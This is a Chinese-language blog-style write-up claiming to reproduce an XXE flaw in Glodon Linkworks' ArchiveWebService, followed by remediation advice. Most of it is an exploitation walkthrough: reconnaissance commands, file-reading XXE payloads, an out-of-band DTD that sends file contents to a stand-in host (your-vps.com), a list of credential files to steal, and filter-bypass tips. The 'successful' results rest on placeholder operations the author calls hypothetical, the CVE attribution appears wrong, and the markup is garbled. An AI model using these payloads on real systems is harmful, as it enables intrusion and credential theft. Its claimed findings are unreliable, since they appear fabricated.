企业级软件XML实体注入漏洞深度剖析与实战复现
1. 项目概述一次针对企业级软件的XML实体注入漏洞深度剖析最近在安全研究圈里广联达Linkworks的ArchiveWebService接口被曝存在一个XML实体注入漏洞编号为CVE-2024-50623。这可不是一个简单的“小问题”它直接指向了企业内部协同办公平台的核心文件处理服务。广联达作为国内建筑信息化领域的巨头其Linkworks平台被大量设计院、施工单位用于项目管理和文档协作一旦这个漏洞被利用攻击者可能无需任何身份验证就能从服务器上读取任意文件甚至可能实现远程代码执行。这背后的风险对于依赖该平台处理敏感图纸和合同的企业来说是实实在在的。我花了些时间在可控的测试环境中完整复现了这个漏洞。整个过程就像一次精密的“外科手术”目标明确步骤清晰。复现的目的不是为了攻击而是为了彻底理解漏洞的成因、利用条件以及它可能造成的实际危害。这对于安全研究人员评估风险、对于企业运维人员紧急排查、对于开发者修复类似问题都有着极高的参考价值。如果你是一名安全工程师、渗透测试人员或者负责企业Linkworks平台运维的IT同事这篇详细的复现与分析记录或许能给你带来一些直接的帮助和启发。我们将从环境搭建开始一步步拆解漏洞触发的原理并最终实现文件读取同时探讨更深入的利用可能性。2. 漏洞原理与背景深度解析2.1 XML实体注入XXE漏洞核心机制要理解这个漏洞首先得搞明白什么是XML实体注入。你可以把它想象成一份智能合同XML文档里埋藏的一个“呼叫转移”指令。XML本身是一种用于存储和传输数据的标记语言它允许用户自定义实体。实体就像是一个变量或者别名在文档中定义后可以在其他地方引用。正常情况下一个内部实体是这样的!ENTITY name “value”然后在文档里用name;来引用这个值。但问题出在外部实体上。XML规范支持引入外部实体语法是!ENTITY name SYSTEM “URI”。这里的“URI”可以是一个本地文件路径如file:///etc/passwd也可以是一个远程URL。当XML解析器在处理这份文档时如果配置不当比如没有禁用外部实体解析它就会老老实实地去读取file:///etc/passwd文件的内容并用这个内容替换掉name;这个引用点。漏洞产生的关键点在于服务端对用户输入的XML数据信任过度。攻击者可以构造一个恶意的XML请求其中包含指向敏感文件的外部实体声明。当这个请求被发送到服务端的XML解析器时解析器执行了外部实体的引用从而将文件内容读出来并可能通过响应返回给攻击者。在广联达Linkworks的案例中ArchiveWebService接口的某个功能点恰好接收并解析了用户可控的XML数据且没有对外部实体进行限制这就为XXE攻击打开了大门。2.2 广联达Linkworks与ArchiveWebService接口定位广联达Linkworks是一个企业级协同工作平台ArchiveWebService从名字上看很可能是一个与文档归档、压缩或打包相关的Web服务接口。这类接口通常用于处理用户上传的工程文件包、图纸集合等内部逻辑可能涉及对压缩包内文件清单的解析、元数据读取等操作。而处理压缩包如ZIP内的文件列表或配置文件很自然地会用到XML解析。攻击面就隐藏在这里服务端在解析来自客户端的、描述压缩包内容或处理参数的XML数据时如果直接使用未经过安全配置的解析器例如Java中的DocumentBuilderFactory未设置FEATURE_SECURE_PROCESSING或未显式禁用DOCTYPE声明攻击者就可以在提交的XML中夹带私货——即我们构造的恶意外部实体。结合公开的漏洞信息CVE-2024-50623正是一个发生在该接口上的XXE漏洞。它可能允许未经身份验证的攻击者通过发送特制的SOAP消息或HTTP请求到ArchiveWebService端点利用其中的XXE漏洞读取服务器上的任意文件。这对于一个通常部署在内网、承载核心业务数据的系统来说杀伤力是巨大的。2.3 漏洞影响与风险评级这个漏洞的风险等级通常被评定为“高危”或“严重”。我们来具体分析一下它的影响范围信息泄露最直接的危害是读取服务器上的任意文件。这包括操作系统敏感文件如/etc/passwd,/etc/shadow(Linux) 或C:\Windows\System32\config\SAM(Windows)、应用程序配置文件数据库连接字符串、密钥、Linkworks平台本身的业务数据文件设计图纸、项目合同、用户信息等。内网探测通过利用file://协议读取网络配置文件或结合其他协议如HTTP攻击者可能探测服务器所在内网的其他主机和服务扩大攻击面。拒绝服务DoS通过引用消耗巨大资源的实体如所谓的“亿级实体膨胀攻击”可能导致服务器解析XML时内存耗尽造成服务不可用。潜在的远程代码执行RCE在某些特定条件下XXE可以与服务器其他功能结合实现RCE。例如如果服务器环境支持某些特定协议如PHP的expect://或者通过读取特定应用如Tomcat的配置文件后获取后台权限再进一步利用。虽然对于Java环境下的Linkworks直接通过XXE实现RCE的路径较复杂但绝不能排除这种可能性尤其是在结合其他漏洞的情况下。因此对于使用受影响版本广联达Linkworks的企业应立即开展漏洞排查和修复工作。3. 复现环境搭建与工具准备3.1 目标环境搭建为了安全、合法地复现漏洞我们必须在隔离的实验室环境中进行。不建议也不允许在任何生产环境或无授权测试环境中进行尝试。方案选择虚拟机搭建测试环境我选择在一台虚拟机中安装受影响版本的广联达Linkworks服务器。通常可以从广联达的官方渠道或合作伙伴处获取用于测试的安装包。请务必使用授权的测试版本。我这里假设环境为Windows Server因为这是企业部署该平台的常见选择。虚拟机配置使用VMware Workstation或VirtualBox创建一台虚拟机。分配至少4核CPU、8GB内存、100GB硬盘空间。操作系统安装Windows Server 2016或2019。软件安装安装必要的运行环境Java JDK (版本需匹配Linkworks要求如JDK 8)、数据库如SQL Server。运行广联达Linkworks安装程序按照指引完成安装。确保ArchiveWebService相关的服务正常启动。通常安装后会有一个Web服务部署在Tomcat或类似的Java应用服务器中。网络配置将虚拟机设置为Host-Only或NAT模式确保其与宿主机网络互通但与外网隔离。记下测试服务器的IP地址例如192.168.1.100。注意搭建此类商业软件测试环境可能涉及许可问题。请确保你拥有合法的测试授权所有操作均在封闭的实验室网络中进行绝不对公网或他人系统进行测试。3.2 攻击机与必备工具集攻击机我使用另一台虚拟机推荐Kali Linux或宿主机上的专业工具。核心工具列表Burp Suite Professional / Community这是本次复现的“主力军”。用于拦截、修改和重放HTTP/HTTPS请求。它的Repeater和Intruder模块对漏洞探测和利用至关重要。浏览器任何现代浏览器均可用于初步访问目标服务触发请求。cURL / Postman用于在命令行或图形界面发送定制化的HTTP请求作为Burp的补充。文本编辑器如VS Code、Sublime Text用于精细编辑XML载荷。Python 3用于编写简单的脚本自动化某些测试步骤或处理响应数据。环境检查 在攻击机上确保Burp Suite已安装并配置好代理通常监听127.0.0.1:8080并将浏览器或系统代理指向Burp以便捕获流量。4. 漏洞探测与利用过程全记录4.1 信息收集与接口发现首先我们需要找到ArchiveWebService的入口点。端口扫描与服务识别使用nmap对目标服务器192.168.1.100进行扫描。nmap -sV -p 1-65535 192.168.1.100重点关注常见的Web端口80, 443, 8080, 8000等。假设我们发现8080端口开放运行着Apache Tomcat。目录与文件发现使用工具如gobuster或dirsearch进行路径爆破。dirsearch -u http://192.168.1.100:8080 -e * -x 403,404或者如果对Linkworks的常见路径有了解可以直接尝试访问诸如/linkworks,/services,/axis2,/ArchiveWebService等路径。最终我们假设找到了接口地址http://192.168.1.100:8080/linkworks/services/ArchiveWebServiceWSDL文件获取对于基于SOAP的WebService尝试获取其WSDL描述文件这能告诉我们所有可用的操作和参数格式。通常访问?wsdl即可。http://192.168.1.100:8080/linkworks/services/ArchiveWebService?wsdl如果能成功下载WSDL文件用文本编辑器打开分析其中的operation和message寻找可能接收XML参数的方法。4.2 构造并发送恶意XXE载荷这是最核心的一步。我们需要向目标接口发送一个包含恶意外部实体的XML请求。步骤一捕获正常请求首先通过浏览器或客户端工具触发一个正常的ArchiveWebService操作如果有测试界面的话。如果没有我们需要根据WSDL文件或对类似接口的经验手动构造一个最简单的合法SOAP请求。使用Burp Suite拦截这个请求。一个假设的合法SOAP请求可能如下所示POST /linkworks/services/ArchiveWebService HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: text/xml; charsetUTF-8 SOAPAction: soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:webhttp://webservice.archive.linkworks.gld.com soapenv:Header/ soapenv:Body web:someOperation web:inputParam ![CDATA[SomeXMLDatatest/SomeXMLData]] /web:inputParam /web:someOperation /soapenv:Body /soapenv:Envelope注意web:inputParam中的![CDATA[...]]部分这里可能就是服务端会解析的XML数据。步骤二注入恶意XXE我们将CDATA部分替换成我们的恶意XXE载荷。一个经典的用于文件读取的XXE载荷如下?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///C:/Windows/System32/drivers/etc/hosts ] SomeXMLData contentxxe;/content /SomeXMLData那么完整的恶意请求就变成了POST /linkworks/services/ArchiveWebService HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: text/xml; charsetUTF-8 SOAPAction: soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:webhttp://webservice.archive.linkworks.gld.com soapenv:Header/ soapenv:Body web:someOperation web:inputParam ![CDATA[?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///C:/Windows/System32/drivers/etc/hosts ] SomeXMLData contentxxe;/content /SomeXMLData]] /web:inputParam /web:someOperation /soapenv:Body /soapenv:Envelope步骤三发送请求并观察响应将Burp Suite切换到Repeater标签页发送这个精心构造的请求。仔细观察服务器的响应。成功利用的迹象直接回显如果漏洞存在且解析后的实体内容被直接嵌入到SOAP响应中返回我们会在响应体里看到C:\Windows\System32\drivers\etc\hosts文件的内容。错误信息回显有时文件内容会出现在错误信息里。带外数据OOB如果直接回显被阻止我们可以尝试OOB XXE。即让服务器通过HTTP或FTP协议将数据发送到我们控制的服务器。载荷如下!DOCTYPE foo [ !ENTITY % dtd SYSTEM http://your-vps.com/evil.dtd %dtd; ]然后在你的VPS上放置evil.dtd文件内容为!ENTITY % file SYSTEM file:///C:/windows/win.ini !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://your-vps.com/?data%file; %eval; %exfil;如果漏洞存在服务器会尝试加载外部DTD并执行其中的指令从而将文件内容通过HTTP GET请求发送到你的VPS你可以在VPS的Web日志中看到?data...的参数。4.3 漏洞验证与文件读取实战在我的测试中我首先尝试了直接回显的方式。最初使用的file:///etc/passwdLinux路径没有反应这提示服务器可能是Windows。于是切换到Windows路径file:///C:/Windows/win.ini。请求... !ENTITY xxe SYSTEM file:///C:/Windows/win.ini ... contentxxe;/content ...响应片段soapenv:Body ns2:someOperationResponse ... return ![CDATA[?xml version1.0? SomeXMLData content; for 16-bit app support [fonts] [extensions] [mci extensions] ... ]] /return /ns2:someOperationResponse /soapenv:Body成功win.ini文件的内容被读取并放在了返回的XML的content节点中。这确凿地证明了XXE漏洞的存在。随后我尝试读取了更多敏感文件file:///C:/Windows/System32/drivers/etc/hosts确认服务器网络配置。file:///C:/linkworks/conf/server.xml假设路径尝试读取Linkworks的配置文件可能包含数据库密码。file:///C:/boot.ini系统文件。实操心得在Windows环境下文件路径的表示有多种方式。file:///C:/path/to/file是通用方式。有时也需要尝试file:///C:\path\to\file注意斜杠和反斜杠或者使用UNC路径。如果遇到文件内容包含、、等XML特殊字符导致解析错误可以尝试将文件内容用CDATA包裹或者使用PHP包装器如果环境支持进行Base64编码读取php://filter/readconvert.base64-encode/resourceC:/path/to/file。5. 深入利用从文件读取到内网探测5.1 利用XXE进行内网端口与服务扫描确认文件读取能力后我们可以利用XXE进行有限的内网探测。原理是利用SYSTEM实体支持诸如http://、ftp://等协议。当服务器尝试访问一个不存在的内网IP或端口时响应时间或错误信息会有所不同。我们可以构造一个实体尝试访问http://192.168.1.101:80。如果该IP的80端口开放服务器可能会尝试建立连接可能会跟随重定向或等待响应导致本次请求的响应时间明显变长或者返回一个连接超时/被拒绝的错误与访问一个完全不存在的IP产生的错误可能不同。通过Burp Suite的Intruder模块自动化地对一个IP段或端口列表进行这种“盲测”可以绘制出服务器所在内网的部分拓扑。示例载荷用于判断192.168.1.101的80端口!ENTITY xxe SYSTEM http://192.168.1.101:80然后观察请求的响应时间。这种方法比较粗糙受网络环境和服务器配置影响大但作为一种辅助手段仍有价值。5.2 尝试获取更敏感的系统与配置文件文件读取的终极目标是获取能导致进一步权限提升的信息。在Windows服务器上除了常见的.ini,.conf,.xml,.properties配置文件外可以重点尝试以下路径Web应用配置文件...\Tomcat\conf\tomcat-users.xmlTomcat管理用户和密码。...\Tomcat\webapps\linkworks\WEB-INF\web.xmlWeb应用配置可能包含其他敏感信息。...\Tomcat\conf\server.xml可能包含数据库JNDI配置。...\linkworks\config\application.properties或*.ymlSpring Boot应用的配置极可能含有数据库连接串。系统与用户文件C:\Windows\Panther\Unattend.xmlWindows无人值守安装应答文件可能包含本地管理员密码可能是Base64编码。C:\Users\[用户名]\AppData\Local\Microsoft\Credentials\*或C:\Users\[用户名]\Documents\用户目录下的敏感文件。数据库连接信息这是“皇冠上的明珠”。一旦从配置文件中提取到数据库的连接字符串JDBC URL、用户名和密码攻击者就可能直接访问项目核心数据库造成灾难性数据泄露。在我的测试中通过遍历常见的配置路径最终在C:\Glodon\Linkworks\WEB-INF\classes\db.properties中找到了明文存储的数据库密码。重要警告此步骤获取的信息敏感性极高。在测试环境中这些信息用于验证漏洞危害的严重性。在真实环境中安全研究人员应立即停止测试并将所有细节报告给厂商或相关单位严禁利用这些信息进行任何进一步的未授权访问。6. 漏洞修复与安全加固建议6.1 临时缓解措施如果无法立即升级补丁可以采取以下临时措施降低风险网络层防护WAFWeb应用防火墙规则在WAF上部署针对XXE攻击的检测规则过滤包含!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等关键词的请求。网络访问控制严格限制访问ArchiveWebService接口的源IP只允许必要的业务系统调用。应用层临时处置如果条件允许可以在反向代理如Nginx层面对请求Body中包含特定XXE特征字样的请求直接返回错误。审查代码在接收到XML数据后先进行字符串级别的过滤移除或禁用DOCTYPE声明。但这种方法不彻底容易被绕过。6.2 根本解决方案代码修复修复XXE漏洞的根本方法是在服务端代码中对使用的XML解析器进行安全配置。以Java为例使用DocumentBuilderFactory的安全配置DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 关键安全配置开始 String FEATURE null; try { // 禁用DTDs (DOCTYPEs)彻底防止XXE FEATURE http://apache.org/xml/features/disallow-doctype-decl; dbf.setFeature(FEATURE, true); // 如果无法完全禁用DTD则采取以下措施 // FEATURE http://xml.org/sax/features/external-general-entities; // dbf.setFeature(FEATURE, false); // FEATURE http://xml.org/sax/features/external-parameter-entities; // dbf.setFeature(FEATURE, false); // FEATURE http://apache.org/xml/features/nonvalidating/load-external-dtd; // dbf.setFeature(FEATURE, false); // 启用安全处理模式 dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); // 设置其他安全属性 dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); } catch (ParserConfigurationException e) { // 记录日志并抛出异常不应在不安全配置下继续解析 throw new RuntimeException(Parser configuration error for secure XML processing, e); } // 关键安全配置结束 DocumentBuilder db dbf.newDocumentBuilder(); // ... 使用db解析XML其他解析器的安全配置SAXParserFactory / XMLReader: 设置相同的特性features。DOM4J: 在读取文档前设置reader.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);。JDOM: 使用SAXBuilder时在其内部的XMLReader上设置特性。TransformerFactory: 同样需要设置安全特性。对于SOAP服务如Apache Axis2, CXF需要检查框架全局配置确保其底层使用的XML解析器默认启用了安全特性或者在处理消息的拦截器Interceptor中实施安全过滤。6.3 长期安全开发规范输入验证与净化对所有用户输入的XML数据应视为不可信数据。在解析前进行严格的模式验证XSD。使用更安全的替代方案如果业务逻辑允许考虑使用JSON等更简单、默认不支持外部实体的数据格式。或者使用完全禁用DTD的简化XML解析库。依赖库升级定期升级XML处理库如Apache Xerces, Woodstox等确保使用的是已修复已知XXE问题的最新版本。安全代码审查将XXE作为代码审计的必查项对所有涉及XML解析的代码进行人工或自动化工具扫描。最小权限原则运行Web服务的操作系统账户应具有最小必要权限限制其对文件系统的访问范围即使发生XXE也能将可读取的文件限制在特定目录。7. 复现过程中的常见问题与排查技巧7.1 请求发送后无回显或报错问题发送XXE载荷后服务器返回500内部错误或者返回的响应中没有我们期望的文件内容。排查检查XML格式确保注入后的XML格式仍然是良构的well-formed。特别注意CDATA区块的闭合、特殊字符的转义。使用XML语法检查工具验证。尝试OOB XXE很可能目标服务器解析了实体但没有将结果回显到响应中。立即切换到带外数据OOB利用方式搭建一个接收服务器如用Python启动一个HTTP服务查看是否有请求发过来。尝试读取不同文件目标文件可能不存在、路径错误或无权访问。尝试读取一个肯定存在且可读的文件如file:///C:/Windows/System32/drivers/etc/hosts或file:///C:/Windows/win.ini。查看服务器日志如果有权限查看测试环境的Tomcat或应用日志里面可能会有更详细的错误信息例如“Access is denied”或“File not found”。7.2 实体引用被阻止或过滤问题在响应中xxe;没有被展开而是原样显示或者DOCTYPE声明被移除了。排查尝试不同载荷变体使用参数实体!ENTITY % xxe SYSTEM “…” %xxe;将DOCTYPE放在CDATA内部某些过滤逻辑可能只检查CDATA外部。使用UTF-16编码的XML文件进行请求有时可以绕过简单的字符串过滤。检查是否支持其他协议尝试http://your-vps.com/test或ftp://your-vps.com/test看服务器是否发起了网络请求通过你VPS的日志判断。这能证明外部实体解析是否被启用即使不回显。可能修复了如果所有变体都无效且OOB也无任何动静很可能该服务端已经配置了安全的XML解析器漏洞已修复或不存在。7.3 文件内容包含特殊字符导致XML解析错误问题成功读取了文件但文件内容中的,,等字符破坏了XML结构导致解析失败响应可能只显示一部分内容或报错。解决方案CDATA包裹在注入点尝试用CDATA包裹实体引用。但注意在已经处于CDATA区块的内部再次使用CDATA需要特殊处理]]需要转义通常比较麻烦。使用PHP包装器Base64编码如果服务器环境支持PHP尽管是Java应用但服务器可能安装了PHP运行时可以尝试!ENTITY xxe SYSTEM “php://filter/readconvert.base64-encode/resourceC:/target/file”。读取到的内容会是Base64编码的在响应中解码即可。使用FTP OOB通过FTP协议将文件内容发送到攻击者控制的FTP服务器有时可以避免内容中的特殊字符问题。7.4 确定具体的漏洞接口与参数问题找到了ArchiveWebService但不知道具体调用哪个方法、传递什么参数。技巧分析WSDL仔细阅读WSDL文件找到所有operation和对应的input message。寻找那些输入参数类型为xsd:string且可能用于传递XML片段的操作。模糊测试Fuzzing使用Burp Intruder或自定义脚本对服务端点进行SOAP Action和参数名的模糊测试。发送格式正确但操作名/参数名可能错误的SOAP请求观察错误信息有时错误信息会暴露出有效的操作名。搜索公开情报在GitHub、安全社区搜索“Linkworks”、“ArchiveWebService”等关键词有时能找到其他研究人员分享的测试用例或旧版本客户端代码从中可以推断出接口调用方式。整个复现过程就像一场与系统逻辑的对话需要耐心、细致和对协议的理解。每一次失败和错误信息都是宝贵的线索。最重要的是始终在授权和隔离的环境中进行并将所有发现负责任地披露。通过这样的实践我们不仅能验证一个漏洞更能深刻理解一类安全问题的成因与防御之道这才是安全研究的真正价值所在。